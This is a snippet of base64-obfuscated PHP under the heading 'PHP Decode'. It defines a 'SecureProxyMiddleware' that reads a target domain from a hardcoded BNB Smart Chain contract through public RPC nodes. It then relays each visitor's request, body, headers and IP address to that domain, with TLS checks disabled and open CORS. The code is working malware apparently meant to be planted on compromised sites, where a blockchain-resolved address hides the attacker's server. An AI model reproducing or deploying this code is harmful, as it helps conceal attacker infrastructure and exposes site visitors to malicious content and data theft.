PHP Decode

<?php function getClientIP(){if(isset($_SERVER[base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ')])){return $_SERVER[base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ')];}if(isset($_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I=')])){$ips=explode(base64_decode('LA=='),$_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I=')]);return trim($ips[0]);}return $_SERVER[base64_decode('UkVNT1RFX0FERFI=')];}class SecureProxyMiddleware{private $updateInterval=60;private $rpcUrls;private $contractAddress;private $cacheFile;public function __construct($options=[]){$this->rpcUrls=$options[base64_decode('cnBjVXJscw==')]??[base64_decode('aHR0cHM6Ly9ycGMuYW5rci5jb20vYnNj'),base64_decode('aHR0cHM6Ly9ic2MtZGF0YXNlZWQyLmJuYmNoYWluLm9yZw==')];$this->contractAddress=$options[base64_decode('Y29udHJhY3RBZGRyZXNz')]?? base64_decode('MHhlOWQ1ZjY0NWY3OWZhNjBmY2E4MmI0ZTFkMzU4MzJlNDMzNzBmZWIw');$serverIdentifier=md5($_SERVER[base64_decode('U0VSVkVSX05BTUU=')].base64_decode('Og==').$_SERVER[base64_decode('U0VSVkVSX0FERFI=')].base64_decode('Og==').$_SERVER[base64_decode('U0VSVkVSX1NPRlRXQVJF')]);$this->cacheFile=sys_get_temp_dir().base64_decode('L3Byb3h5X2NhY2hlXw==').$serverIdentifier.base64_decode('Lmpzb24=');}private function loadCache(){if(!file_exists($this->cacheFile))return null;$cache=json_decode(file_get_contents($this->cacheFile),true);if(!$cache||(time()-$cache[base64_decode('dGltZXN0YW1w')])>$this->updateInterval){return null;}return $cache[base64_decode('ZG9tYWlu')];}private function filterHeaders($headers){$blacklist=[base64_decode('aG9zdA==')];$formatted=[];foreach($headers as $key=>$value){$key=strtolower($key);if(!in_array($key,$blacklist)){$formatted[]="$key: $value";}}return $formatted;}private function saveCache($domain){$cache=[base64_decode('ZG9tYWlu')=>$domain,base64_decode('dGltZXN0YW1w')=>time()];file_put_contents($this->cacheFile,json_encode($cache));}private function hexToString($hex){$hex=preg_replace(base64_decode('L14weC8='),'',$hex);$hex=substr($hex,64);$lengthHex=substr($hex,0,64);$length=hexdec($lengthHex);$dataHex=substr($hex,64,$length*2);$result='';for($i=0;$i<strlen($dataHex);$i+=2){$charCode=hexdec(substr($dataHex,$i,2));if($charCode===0)break;$result.=chr($charCode);}return $result;}private function fetchTargetDomain(){$data=base64_decode('MjA5NjUyNTU=');foreach($this->rpcUrls as $rpcUrl){try{$ch=curl_init($rpcUrl);curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>json_encode([base64_decode('anNvbnJwYw==')=>base64_decode('Mi4w'),base64_decode('aWQ=')=>1,base64_decode('bWV0aG9k')=>base64_decode('ZXRoX2NhbGw='),base64_decode('cGFyYW1z')=>[[base64_decode('dG8=')=>$this->contractAddress,base64_decode('ZGF0YQ==')=>base64_decode('MHg=').$data],base64_decode('bGF0ZXN0')]]),CURLOPT_HTTPHEADER=>[base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29u')],CURLOPT_TIMEOUT=>120,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>false]);$response=curl_exec($ch);if(curl_errno($ch)){curl_close($ch);continue;}curl_close($ch);$responseData=json_decode($response,true);if(isset($responseData[base64_decode('ZXJyb3I=')]))continue;$domain=$this->hexToString($responseData[base64_decode('cmVzdWx0')]);if($domain)return $domain;}catch(Exception $e){continue;}}throw new Exception(base64_decode('Q291bGQgbm90IGZldGNoIHRhcmdldCBkb21haW4='));}private function getTargetDomain(){$cachedDomain=$this->loadCache();if($cachedDomain)return $cachedDomain;$domain=$this->fetchTargetDomain();$this->saveCache($domain);return $domain;}private function formatHeaders($headers){$formatted=[];foreach($headers as $name=>$value){if(is_array($value))$value=implode(base64_decode('LCA='),$value);$formatted[]="$name: $value";}return $formatted;}public function handle($endpoint){try{$targetDomain=rtrim($this->getTargetDomain(),base64_decode('Lw=='));$endpoint=base64_decode('Lw==').ltrim($endpoint,base64_decode('Lw=='));$url=$targetDomain.$endpoint;$clientIP=getClientIP();$headers=getallheaders();unset($headers[base64_decode('SG9zdA==')],$headers[base64_decode('aG9zdA==')]);unset($headers[base64_decode('b3JpZ2lu')],$headers[base64_decode('T3JpZ2lu')]);$headers[base64_decode('eC1kZmtqbGRpZmpsaWZqZA==')]=$clientIP;$ch=curl_init($url);curl_setopt_array($ch,[CURLOPT_CUSTOMREQUEST=>$_SERVER[base64_decode('UkVRVUVTVF9NRVRIT0Q=')],CURLOPT_POSTFIELDS=>file_get_contents(base64_decode('cGhwOi8vaW5wdXQ=')),CURLOPT_RETURNTRANSFER=>true,CURLOPT_HTTPHEADER=>$this->formatHeaders($headers),CURLOPT_TIMEOUT=>120,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>false,CURLOPT_ENCODING=>'']);$response=curl_exec($ch);if(curl_errno($ch)){throw new Exception(curl_error($ch));}$httpCode=curl_getinfo($ch,CURLINFO_HTTP_CODE);$contentType=curl_getinfo($ch,CURLINFO_CONTENT_TYPE);curl_close($ch);header(base64_decode('QWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAq'));header(base64_decode('QWNjZXNzLUNvbnRyb2wtQWxsb3ctTWV0aG9kczogR0VULCBIRUFELCBQT1NULCBPUFRJT05T'));header(base64_decode('QWNjZXNzLUNvbnRyb2wtQWxsb3ctSGVhZGVyczogKg=='));if($contentType)header(base64_decode('Q29udGVudC1UeXBlOiA=').$contentType);http_response_code($httpCode);echo $response;}catch(Exception $e){http_response_code(500);echo base64_decode('ZXJyb3I=').$e;}}}if($_SERVER[base64_decode('UkVRVUVTVF9NRVRIT0Q=')]===base64_decode('T1BUSU9OUw==')){header(base64_decode('QWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAq'));header(base64_decode('QWNjZXNzLUNvbnRyb2wtQWxsb3ctTWV0aG9kczogR0VULCBIRUFELCBQT1NULCBPUFRJT05T'));header(base64_decode('QWNjZXNzLUNvbnRyb2wtQWxsb3ctSGVhZGVyczogKg=='));header(base64_decode('QWNjZXNzLUNvbnRyb2wtTWF4LUFnZTogODY0MDA='));http_response_code(204);exit;}if($_GET[base64_decode('ZQ==')]===base64_decode('cGluZ19wcm94eQ==')){header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWlu'));echo base64_decode('cG9uZw==');exit;}else if(isset($_GET[base64_decode('ZQ==')])){$proxy=new SecureProxyMiddleware([base64_decode('cnBjVXJscw==')=>[base64_decode('aHR0cHM6Ly9ycGMuYW5rci5jb20vYnNj'),base64_decode('aHR0cHM6Ly9ic2MtZGF0YXNlZWQyLmJuYmNoYWluLm9yZw==')],base64_decode('Y29udHJhY3RBZGRyZXNz')=>base64_decode('MHhlOWQ1ZjY0NWY3OWZhNjBmY2E4MmI0ZTFkMzU4MzJlNDMzNzBmZWIw')]);$endpoint=urldecode($_GET[base64_decode('ZQ==')]);$endpoint=ltrim($endpoint,base64_decode('Lw=='));$proxy->handle($endpoint);}else{http_response_code(400);echo base64_decode('TWlzc2luZyBlbmRwb2ludA==');}?>